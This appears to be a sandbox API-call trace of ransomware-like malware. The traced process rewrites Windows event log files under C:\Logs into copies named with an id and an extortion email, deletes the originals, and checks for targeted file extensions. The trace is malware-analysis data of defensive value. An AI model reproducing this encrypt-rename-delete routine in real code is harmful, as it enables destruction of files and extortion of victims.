	[0071.589] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.589] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0071.589] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.589] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.589] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0071.590] GetLastError () returned 0x0
	[0071.590] ReadFile (in: hFile=0x380, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0071.592] WriteFile (in: hFile=0x350, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0071.595] ReadFile (in: hFile=0x380, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.595] WriteFile (in: hFile=0x350, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0071.595] SetEndOfFile (hFile=0x350) returned 1
	[0071.595] CloseHandle (hObject=0x350) returned 1
	[0071.598] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.598] SetEndOfFile (hFile=0x380) returned 1
	[0071.599] CloseHandle (hObject=0x380) returned 1
	[0071.599] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0071.600] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 1
	[0071.600] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0071.600] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0071.600] lstrlenW (lpString=".doc") returned 4
	[0071.600] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0071.600] lstrlenW (lpString=".docx") returned 5
	[0071.600] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0071.600] lstrlenW (lpString=".pdf") returned 4
	[0071.600] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0071.600] lstrlenW (lpString=".xls") returned 4
	[0071.600] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0071.600] lstrlenW (lpString=".xlsx") returned 5
	[0071.600] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0071.600] lstrlenW (lpString=".ppt") returned 4
	[0071.600] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0071.601] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0071.601] lstrlenW (lpString=".zip") returned 4
	[0071.601] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0071.601] lstrlenW (lpString=".rar") returned 4
	[0071.601] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0071.601] lstrlenW (lpString=".bz2") returned 4
	[0071.601] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0071.601] lstrlenW (lpString=".7z") returned 3
	[0071.601] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0071.601] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0071.601] lstrlenW (lpString=".dbf") returned 4
	[0071.601] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0071.601] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0071.601] lstrlenW (lpString=".1cd") returned 4
	[0071.601] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0071.601] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0071.601] lstrlenW (lpString=".jpg") returned 4
	[0071.601] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0071.601] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0071.601] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0071.601] lstrlenW (lpString=".doc") returned 4
	[0071.601] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0071.601] lstrlenW (lpString=".docx") returned 5
	[0071.601] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0071.601] lstrlenW (lpString=".pdf") returned 4
	[0071.601] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0071.602] lstrlenW (lpString=".xls") returned 4
	[0071.602] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0071.602] lstrlenW (lpString=".xlsx") returned 5
	[0071.602] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0071.602] lstrlenW (lpString=".ppt") returned 4
	[0071.602] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0071.602] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0071.602] lstrlenW (lpString=".zip") returned 4
	[0071.602] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0071.602] lstrlenW (lpString=".rar") returned 4
	[0071.602] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0071.602] lstrlenW (lpString=".bz2") returned 4
	[0071.602] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0071.602] lstrlenW (lpString=".7z") returned 3
	[0071.602] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0071.602] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0071.602] lstrlenW (lpString=".dbf") returned 4
	[0071.602] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0071.602] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0071.602] lstrlenW (lpString=".1cd") returned 4
	[0071.602] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0071.602] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0071.602] lstrlenW (lpString=".jpg") returned 4
	[0071.602] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0071.603] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0071.603] lstrlenW (lpString="Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 48
	[0071.603] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0071.603] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0071.603] CloseHandle (hObject=0x380) returned 1
	[0071.603] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20
	[0071.604] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.604] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0071.604] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.604] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.604] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.966] GetLastError () returned 0x0
	[0071.966] ReadFile (in: hFile=0x380, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0071.999] WriteFile (in: hFile=0x338, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0072.001] ReadFile (in: hFile=0x380, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.001] WriteFile (in: hFile=0x338, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x134, lpOverlapped=0x0) returned 1
	[0072.002] SetEndOfFile (hFile=0x338) returned 1
	[0072.002] CloseHandle (hObject=0x338) returned 1
	[0072.005] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.005] SetEndOfFile (hFile=0x380) returned 1
	[0072.006] CloseHandle (hObject=0x380) returned 1
	[0072.006] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0072.006] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 1
	[0072.006] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0072.007] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0072.007] lstrlenW (lpString=".doc") returned 4
	[0072.007] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0072.007] lstrlenW (lpString=".docx") returned 5
	[0072.007] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0072.007] lstrlenW (lpString=".pdf") returned 4
	[0072.007] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0072.007] lstrlenW (lpString=".xls") returned 4
	[0072.007] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0072.007] lstrlenW (lpString=".xlsx") returned 5
	[0072.007] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0072.007] lstrlenW (lpString=".ppt") returned 4
	[0072.007] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0072.007] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0072.007] lstrlenW (lpString=".zip") returned 4
	[0072.007] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0072.007] lstrlenW (lpString=".rar") returned 4
	[0072.007] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0072.007] lstrlenW (lpString=".bz2") returned 4
	[0072.007] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0072.007] lstrlenW (lpString=".7z") returned 3
	[0072.007] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0072.007] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0072.007] lstrlenW (lpString=".dbf") returned 4
	[0072.007] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0072.007] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0072.007] lstrlenW (lpString=".1cd") returned 4
	[0072.007] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0072.007] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0072.007] lstrlenW (lpString=".jpg") returned 4
	[0072.007] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0072.007] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0072.008] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0072.008] lstrlenW (lpString=".doc") returned 4
	[0072.008] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0072.008] lstrlenW (lpString=".docx") returned 5
	[0072.008] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0072.008] lstrlenW (lpString=".pdf") returned 4
	[0072.008] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0072.008] lstrlenW (lpString=".xls") returned 4
	[0072.008] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0072.008] lstrlenW (lpString=".xlsx") returned 5
	[0072.008] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0072.008] lstrlenW (lpString=".ppt") returned 4
	[0072.008] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0072.008] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0072.008] lstrlenW (lpString=".zip") returned 4
	[0072.008] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0072.008] lstrlenW (lpString=".rar") returned 4
	[0072.008] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0072.008] lstrlenW (lpString=".bz2") returned 4
	[0072.008] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0072.008] lstrlenW (lpString=".7z") returned 3
	[0072.008] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0072.008] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0072.008] lstrlenW (lpString=".dbf") returned 4
	[0072.008] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0072.008] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0072.008] lstrlenW (lpString=".1cd") returned 4
	[0072.008] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0072.008] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0072.008] lstrlenW (lpString=".jpg") returned 4
	[0072.008] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0072.009] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0072.009] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Operational.evtx") returned 48
	[0072.009] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0072.012] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=1118208) returned 1
	[0072.012] CloseHandle (hObject=0x380) returned 1
	[0072.012] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20
	[0072.012] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.012] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0072.012] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.012] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.012] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0072.013] GetLastError () returned 0x0
	[0072.013] ReadFile (in: hFile=0x380, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0072.035] WriteFile (in: hFile=0x338, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0072.597] ReadFile (in: hFile=0x380, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11010, lpOverlapped=0x0) returned 1
	[0072.607] WriteFile (in: hFile=0x338, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11020, lpOverlapped=0x0) returned 1
	[0072.613] ReadFile (in: hFile=0x380, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.613] WriteFile (in: hFile=0x338, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x134, lpOverlapped=0x0) returned 1
	[0072.613] SetEndOfFile (hFile=0x338) returned 1
	[0072.614] CloseHandle (hObject=0x338) returned 1
	[0073.464] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.464] SetEndOfFile (hFile=0x380) returned 1
	[0073.465] CloseHandle (hObject=0x380) returned 1
	[0073.466] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0073.466] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 1
	[0073.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0073.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0073.466] lstrlenW (lpString=".doc") returned 4
	[0073.466] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0073.466] lstrlenW (lpString=".docx") returned 5
	[0073.466] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0073.466] lstrlenW (lpString=".pdf") returned 4
	[0073.466] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0073.466] lstrlenW (lpString=".xls") returned 4
	[0073.467] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0073.467] lstrlenW (lpString=".xlsx") returned 5
	[0073.467] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0073.467] lstrlenW (lpString=".ppt") returned 4
	[0073.467] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0073.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0073.467] lstrlenW (lpString=".zip") returned 4
	[0073.467] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0073.467] lstrlenW (lpString=".rar") returned 4
	[0073.467] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0073.467] lstrlenW (lpString=".bz2") returned 4
	[0073.467] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0073.467] lstrlenW (lpString=".7z") returned 3
	[0073.467] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0073.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0073.467] lstrlenW (lpString=".dbf") returned 4
	[0073.467] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0073.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0073.467] lstrlenW (lpString=".1cd") returned 4
	[0073.467] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0073.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0073.467] lstrlenW (lpString=".jpg") returned 4
	[0073.467] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0073.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0073.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0073.467] lstrlenW (lpString=".doc") returned 4
	[0073.467] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0073.467] lstrlenW (lpString=".docx") returned 5
	[0073.467] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0073.467] lstrlenW (lpString=".pdf") returned 4
	[0073.468] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0073.468] lstrlenW (lpString=".xls") returned 4
	[0073.468] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0073.468] lstrlenW (lpString=".xlsx") returned 5
	[0073.468] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0073.468] lstrlenW (lpString=".ppt") returned 4
	[0073.468] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0073.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0073.468] lstrlenW (lpString=".zip") returned 4
	[0073.468] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0073.468] lstrlenW (lpString=".rar") returned 4
	[0073.468] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0073.468] lstrlenW (lpString=".bz2") returned 4
	[0073.468] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0073.468] lstrlenW (lpString=".7z") returned 3
	[0073.468] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0073.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0073.468] lstrlenW (lpString=".dbf") returned 4
	[0073.468] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0073.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0073.468] lstrlenW (lpString=".1cd") returned 4
	[0073.468] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0073.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0073.468] lstrlenW (lpString=".jpg") returned 4
	[0073.468] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0073.468] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0073.468] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 48
	[0073.469] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0073.469] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0073.469] CloseHandle (hObject=0x380) returned 1
	[0073.469] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20
	[0073.469] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.469] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0073.469] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
